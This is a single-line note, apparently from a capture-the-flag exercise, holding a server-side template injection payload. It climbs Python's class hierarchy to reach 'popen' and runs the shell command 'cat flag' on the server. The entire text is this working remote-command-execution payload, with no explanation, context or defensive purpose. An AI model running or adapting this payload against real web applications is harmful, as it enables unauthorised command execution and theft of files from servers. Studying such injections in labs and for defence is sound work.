payload {{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__ ['popen']('cat flag').read()}}